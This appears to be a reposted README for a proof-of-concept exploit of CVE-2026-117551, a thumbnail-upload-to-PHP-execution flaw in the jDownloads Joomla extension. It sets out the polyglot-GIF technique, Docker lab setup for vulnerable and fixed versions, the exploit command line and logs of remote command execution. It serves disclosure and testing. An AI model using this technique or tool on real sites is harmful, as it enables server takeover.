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CVE-2026-117551-POC — POC exploit for CVE-2026-117551 - frontend thumbnail upload to PHP RCE in the jDownloads Joomla extension. Vulnerable 4.1.7 vs fixed 4.1.8 control included. | Kitploit
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GitHubfixedbyreboot/cve-2026-117551-poc

CVE-2026-117551-POC

POC exploit for CVE-2026-117551 - frontend thumbnail upload to PHP RCE in the jDownloads Joomla extension. Vulnerable 4.1.7 vs fixed 4.1.8 control included.

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CVE-2026-117551 — jDownloads frontend thumbnail upload → PHP code execution

Language CVSS Affected Status Advisory License

The download-manager extension jDownloads (com_jdownloads) for Joomla! 5/6 ships a frontend submit form that lets upload-capable users attach preview screenshots ("thumbnails") to a download submission. Across every release from 1.0.0 to 4.1.7 the server-side handler for those thumbnail files never validates the filename extension. The only image checks are a string comparison against the client-supplied multipart Content-Type and a getimagesize() pass plus a weak PHP-string blacklist - all satisfiable by a well-formed GIF with appended PHP in short-echo syntax. The sanitized filename keeps its original extension, and the file is moved with File::upload(..., $allow_unsafe = true) into the web-served folder images/jdownloads/screenshots/, where Apache executes it as PHP. The result is remote code execution with the web server user's privileges. Fixed in 4.1.8 by an extension allowlist with hard failures; no fix exists on any older release line.

  • Affected: jDownloads 1.0.0 - 4.1.7 (range as published by the Joomla CNA; the thumbnail upload path was verified in the lab on 4.1.7 with Joomla! 5.4.7)
  • Fixed: 4.1.8 (2026-11-12, the only fixed release - no backport to 4.0.x, 3.9/3.2 or 2.5/1.9)
  • CVSS 4.0: 10.0 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A, per the Joomla CNA); CWE-434
  • Verified privilege precondition: NOT pre-auth on a default install. The frontend save path requires Joomla ACL core.create on the jDownloads component or category (checked by DownloadController::allowAdd()); a default install grants that only to Manager and above. The published vector's PR:N reflects that site operators routinely grant this permission to open groups (Registered and Public) to enable user submissions - on any such site, a self-registered account reaches the vulnerable upload path. Both halves were verified empirically in the lab (guest and unprivileged Registered are refused; a Registered account after the documented permission grant triggers RCE).
  • Advisory: https://github.com/advisories/GHSA-px9q-qw3v-wg6c, https://developer.joomla.org/security-centre.html (Joomla CNA, 2026-11-12)
  • KEV: not listed (as of 2026-11-14)

Usage

Bring up the two lab targets (vulnerable jDownloads 4.1.7 and fixed 4.1.8, both on Joomla 5.4.7 / php:8.4-apache / MariaDB):

bash setup/fetch-packages.sh          # vendor zips into the build context
docker compose -p cve-2026-117551 --profile vuln up -d --build
docker compose -p cve-2026-117551 --profile vuln exec jdownloads-vuln bash /setup/install.sh

# control run:
docker compose -p cve-2026-117551 --profile fixed up -d --build
docker compose -p cve-2026-117551 --profile fixed exec jdownloads-fixed bash /setup/install.sh

Each container auto-installs Joomla (admin / Adm1nPocPass2026). Then configure the target and capture evidence (admin login, jDownloads package install, download category, a lab user in Registered, the precondition probes, the permission grant and the trigger):

python3 setup/configure_lab.py --url http://127.0.0.1:8095 --role vuln \
    --evidence evidence/01-trigger-vuln-4.1.7.log
python3 setup/configure_lab.py --url http://127.0.0.1:8096 --role fixed \
    --evidence evidence/03-control-fixed-4.1.8.log

Run the PoC directly:

python3 poc.py --url http://127.0.0.1:8095 --username pocuser \
    --password PocUser2026! --command "id"

--url base URL of the Joomla site. --username/--password an account whose group holds the jDownloads upload permission (core.create). --category numeric id of a frontend download category (default 2, the first created category). --command command executed through the landed PHP file (backtick shell, output read from the response).

Expected output

Vulnerable 4.1.7 (evidence/01-trigger-vuln-4.1.7.log; the same flow in poc.py prints the same shape):

[probe:guest] save POST -> HTTP 200, final=http://127.0.0.1:8095/index.php/component/jdownloads/categories?Itemid=101 denied=True
[login] site login pocuser ok=True
[probe:registered-no-upload-permission] save POST -> HTTP 200, final=http://127.0.0.1:8095/ denied=True
[acl] grant core.create to Registered (group 2) on com_jdownloads: True
[upload] POST -> HTTP 200, final=http://127.0.0.1:8095/index.php?option=com_jdownloads&view=form&layout=edit&a_id=0&catid=2
[upload] response alert: Item submitted.
[landed] GET /images/jdownloads/screenshots/poc117551.php -> HTTP 200
[landed] body after GIF header (non-printables masked):
    ...........D..;uid=33(www-data) gid=33(www-data) groups=33(www-data)
    Linux x86_64
[result] remote command execution: YES

The denial probes on a default install (guest, and Registered without the permission) are refused before the grant; after the documented upload permission grant the submission succeeds, the thumbnail lands under its original .php name inside images/jdownloads/screenshots/, and a plain GET executes it.

Fixed 4.1.8, identical request and identical permission configuration (evidence/03-control-fixed-4.1.8.log):

[upload] POST -> HTTP 200, final=http://127.0.0.1:8096/index.php?option=com_jdownloads&view=form&layout=edit&a_id=0&catid=2
[upload] response alert: Item submitted.
[landed] GET /images/jdownloads/screenshots/poc117551.php -> HTTP 404
[result] remote command execution: NO

On 4.1.8 the submission itself is stored but the thumbnail is never written: the extension allowlist added by the fix (png, gif, jpg, jpeg) rejects the .php upload path and the screenshot directory stays clean, so the follow-up request 404s.

Why it works

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